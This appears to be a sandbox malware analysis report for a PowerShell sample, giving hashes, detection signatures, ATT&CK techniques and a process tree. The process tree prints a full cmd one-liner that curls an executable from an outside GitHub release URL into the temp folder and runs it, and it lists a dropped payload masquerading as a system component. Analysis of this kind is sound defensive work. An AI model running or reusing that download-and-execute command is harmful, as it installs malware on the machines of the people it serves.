fe41c2a5c818b19c47c7370349a46b37d66cb191f28e9acf203d0cc3243cdb9b

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 533B
Sample260924-we6d6ssscx
SHA256 fe41c2a5c818b19c47c7370349a46b37d66cb191f28e9acf203d0cc3243cdb9b
MD5 121af2b0bd6d1f2a748ec7184e9304f1
SHA1 ce11eed65080649f9a7e99b90b8e97af4d7bfe21
SHA512 6f1d7d0f2ade98f753b3846c3f7f9873972b32ea7e623c8e0d883e4339dbad312c2cdaa0a135cf4de65d96cdefcb3944bb98f239e1514c5c57c979cf37aaed94
TLSH
T155F08B4F72D50508BF01968057DEF8D6A64B80D1984A643642B73D8E64A163A92E514B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	4916	curl.exe

Executes dropped EXE 2 IoCs

pid	Process
2424	x.exe
2576	CompPkgSrv.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4052	PowerShell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3532	cmd.exe
4396	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4052	PowerShell.exe
4052	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	PowerShell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 3532	4052	PowerShell.exe	90
PID 3532 wrote to memory of 4396	3532	cmd.exe	91
PID 4396 wrote to memory of 4916	4396	cmd.exe	93
PID 4396 wrote to memory of 2424	4396	cmd.exe	94
PID 2424 wrote to memory of 2576	2424	x.exe	95

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0
HTTP User-Agent header	10	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min cmd /c "curl -Lso %TEMP%\x.exe https://github.com/indirect-syscall/test/releases/download/1/oxide-stub.exe&&%TEMP%\x.exe&&set AuthenticateToken=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImcxIn0.eyJpc3MiOiJhY2NvdW50cy5nb29nbGUuY29tIiwiYXpwIjoiNDA3NDA4NzE4MTkyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiYXVkIjoiNDA3NDA4NzE4MTkyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwic3ViIjoiMTEwMTY5MDg0NTk3Mzc5MjAzNDgzIiwiZW1haWwiOiJ1c2VyQGdtYWlsLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJpYXQiOjE3MTM0NzA4OTcsImV4cCI6MTcxMzQ3NDQ5N30"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\system32\cmd.exe
    cmd /c "curl -Lso C:\Users\Admin\AppData\Local\Temp\x.exe https://github.com/indirect-syscall/test/releases/download/1/oxide-stub.exe&&C:\Users\Admin\AppData\Local\Temp\x.exe&&set AuthenticateToken=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImcxIn0.eyJpc3MiOiJhY2NvdW50cy5nb29nbGUuY29tIiwiYXpwIjoiNDA3NDA4NzE4MTkyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiYXVkIjoiNDA3NDA4NzE4MTkyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwic3ViIjoiMTEwMTY5MDg0NTk3Mzc5MjAzNDgzIiwiZW1haWwiOiJ1c2VyQGdtYWlsLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJpYXQiOjE3MTM0NzA4OTcsImV4cCI6MTcxMzQ3NDQ5N30"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4396
  - - C:\Windows\system32\curl.exe
      curl -Lso C:\Users\Admin\AppData\Local\Temp\x.exe https://github.com/indirect-syscall/test/releases/download/1/oxide-stub.exe
      4⤵
      Downloads MZ/PE file
      PID:4916
  - - C:\Users\Admin\AppData\Local\Temp\x.exe
      C:\Users\Admin\AppData\Local\Temp\x.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2424
    - - C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\CompPkgSrv.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\CompPkgSrv.exe"
        5⤵
        Executes dropped EXE
        
        PID:2576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

x.exe

Path C:\Users\Admin\AppData\Local\Temp\x.exe
Size 8.9MB
SHA256 cef5ccaf5b002f4eb5ff29edc2a3b8e53a1c1aaa7489389161bf9ed25575a911
MD5 4d046ee5a3ae9d162197a04c7b14d681
SHA1 c7138d9027ed0f7ff9f00606731d88bb7293adb0
SHA512 7a791165a31ea32500616406464194fb871d9f306c36b61c307be5d50b2237e75ac778b5bbb03ea8a78813055857968784104629e4db3e2ef28478d5b7a545fa
SSDEEP 196608:gP5WwmDLLv2Qk2ucNYlaPA0m5evUV8Q6AxlGR/:gIBDLLlkv0m0U+Q6Axla/
TLSH
T1D4963340724915F8F67B56BC6D801A83A7B6B4052733AAFF3AD513E91F229D04E36B34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4052-0-0x00007FFB06E6F000-0x00007FFB06E70000-memory.dmp

Download

memory/4052-3-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download

memory/4052-5-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download

memory/4052-4-0x000001B21AC50000-0x000001B21AC72000-memory.dmp

Download

memory/4052-6-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download

memory/4052-7-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download

memory/4052-9-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download

memory/4052-10-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp

Download